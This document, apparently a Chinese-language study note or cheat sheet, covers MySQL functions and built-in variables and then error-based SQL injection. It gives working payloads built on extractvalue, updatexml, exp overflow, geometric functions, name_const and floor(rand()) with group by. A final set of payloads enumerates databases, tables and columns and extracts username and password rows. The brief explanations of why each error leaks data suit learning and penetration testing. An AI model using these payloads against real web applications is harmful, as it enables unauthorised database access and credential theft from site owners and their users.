常用函數
字符串連接函數,將多個字符串連接成一個字符串,當中間字符串有一個爲空時,最後結果也爲空
concat(str1, str2, str3 ,...)
concat_ws('指定分隔符', str1,str2,str3...)
開頭指定分隔符,與concat()不同,它會自動忽略中間的空值,只有分隔符爲空,整體才返回空
group_concat(field_name1,field_name2,field_name3 ...)
分組的方式連接所有字符串(把某個字段下的所有數據全部連接成一個字符串),有長度限制,默認1024
截取字符串函數
substring(要截斷的字符串,開始截取位置,截取長度) (從1開始)
substr 和 substring 操作相同
mysql 專有的字符串截取
mid(要截斷的字符串,開始截取位置,截取長度)(從1開始)
左截取 left(str, 3) 從左往右截取3個字符
右截取 right(str, 3) 從右往左截取3個字符
rand()函數會隨機產生 [ 0 , 1 ) 之間的浮點數
rand(x) 每個x對應一個固定的值,可預測
rand()*2會隨機產生 [ 0 , 2 ) 之間的浮點數
floor()函數只返回整數部分,小數部分捨棄。
round()函數四捨五入,大於0.5的部分進位,不到則捨棄。
limit用法(從0開始)
如果只給定一個參數,表示記錄數
檢索前3條記錄 等價於 右圖
檢索4條記錄,從第2條數據開始(從0開始)
count(*)是對行數目進行計數
常用的Mysql內置變量
version() 當前數據庫詳細版本號
database() 當前所在的數據庫
user() 當前數據庫用戶權限
@@datadir 數據文件的存放目錄
@@basedir 數據庫的安裝路徑
@@version_compile_os 宿主系統平臺是什麼
@@hostname 當前機器的機器名
show variables like 'log_% 查看日誌文件存放位置
報錯函數
xpath處理函數報錯注入
extractvalue(xml_doc, xpath) 從指定xml文檔中查詢指定的字符串
updatexml(xml_doc,xpath,new_value) 利用xpath把xml文檔中的指定字符串替換成新值
報錯payload:
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
參數Xpath需要的是 xpath格式的字符串,不是就會報錯,sql語句由內向外執行報錯得到查詢的信息
MySQL 5.1.5版本中添加了對XML文檔進行查詢和修改的函數,所以MySQL 5.1.5版本以下的不能上述函數進行報錯注入
並且,上述報錯注入函數有字符限制,最長32位
整形溢出報錯注入:
exp(x) 數學函數 返回值 e (自然對數的底) 的 x 次方
報錯payload:
and exp(~(select * from(select user())a));
將0按位取反就會返回最大數“18446744073709551615”,再加上函數成功執行後返回0的緣故,我們將成功執行的函數取反就會得到最大的無符號BIGINT值。
exp是以e爲底的指數函數,由於數字太大是會產生溢出。這個函數會在參數大於709時溢出,報錯。
所以我們通過子查詢與按位求反,造成一個DOUBLE overflow error,並藉由此注出數據
MySql5.5.5版本後整形溢出纔會報錯
幾何函數報錯注入
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
函數對參數要求是形如(1 2,3 3,2 2 1)這樣幾何數據,如果不滿足要求,則會報錯
上述函數經本地測試,本地高版本MySQL無法得到數據(5.6.22)
成功得到數據如下所示:
select multipoint((select * from (select * from (select * from (select version())a)b)c));
ERROR 1367 (22007): Illegal non geometric '(select `c`.`version()` from (select '5.5.40-log' AS `version()` from dual) `c`)' value found during parsing
列名重複報錯注入
name_const()函數
報錯payload:
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
name_const(name,value)函數會用傳入的參數返回一列結果集.傳入的參數必須是常量,如果不是則報錯
報錯payload :因爲兩列列名相同,外面選擇時候報錯,說重複列
經測試,只能查version() 函數其他可能因爲不是常量的原因報參數錯誤的錯誤,不會回顯想要的信息 略雞肋
虛擬表主鍵重複報錯注入
floor() + rand() + group by
報錯payload:
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
原理參考鏈接:https://www.2cto.com/article/201604/498394.html
group by key (key爲虛擬表的主鍵)
循環讀取數據的每一行,將結果保存於臨時表中。讀取每一行的key時,如果key存在於臨時表中,則不在臨時表中更新臨時表的數據;如果key不在臨時表中,則在臨時表中插入key所在行的數據
其他payload(修改 limit 即可):
爆所有數據庫:
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆表:
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆字段:
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=表名 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆內容:
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)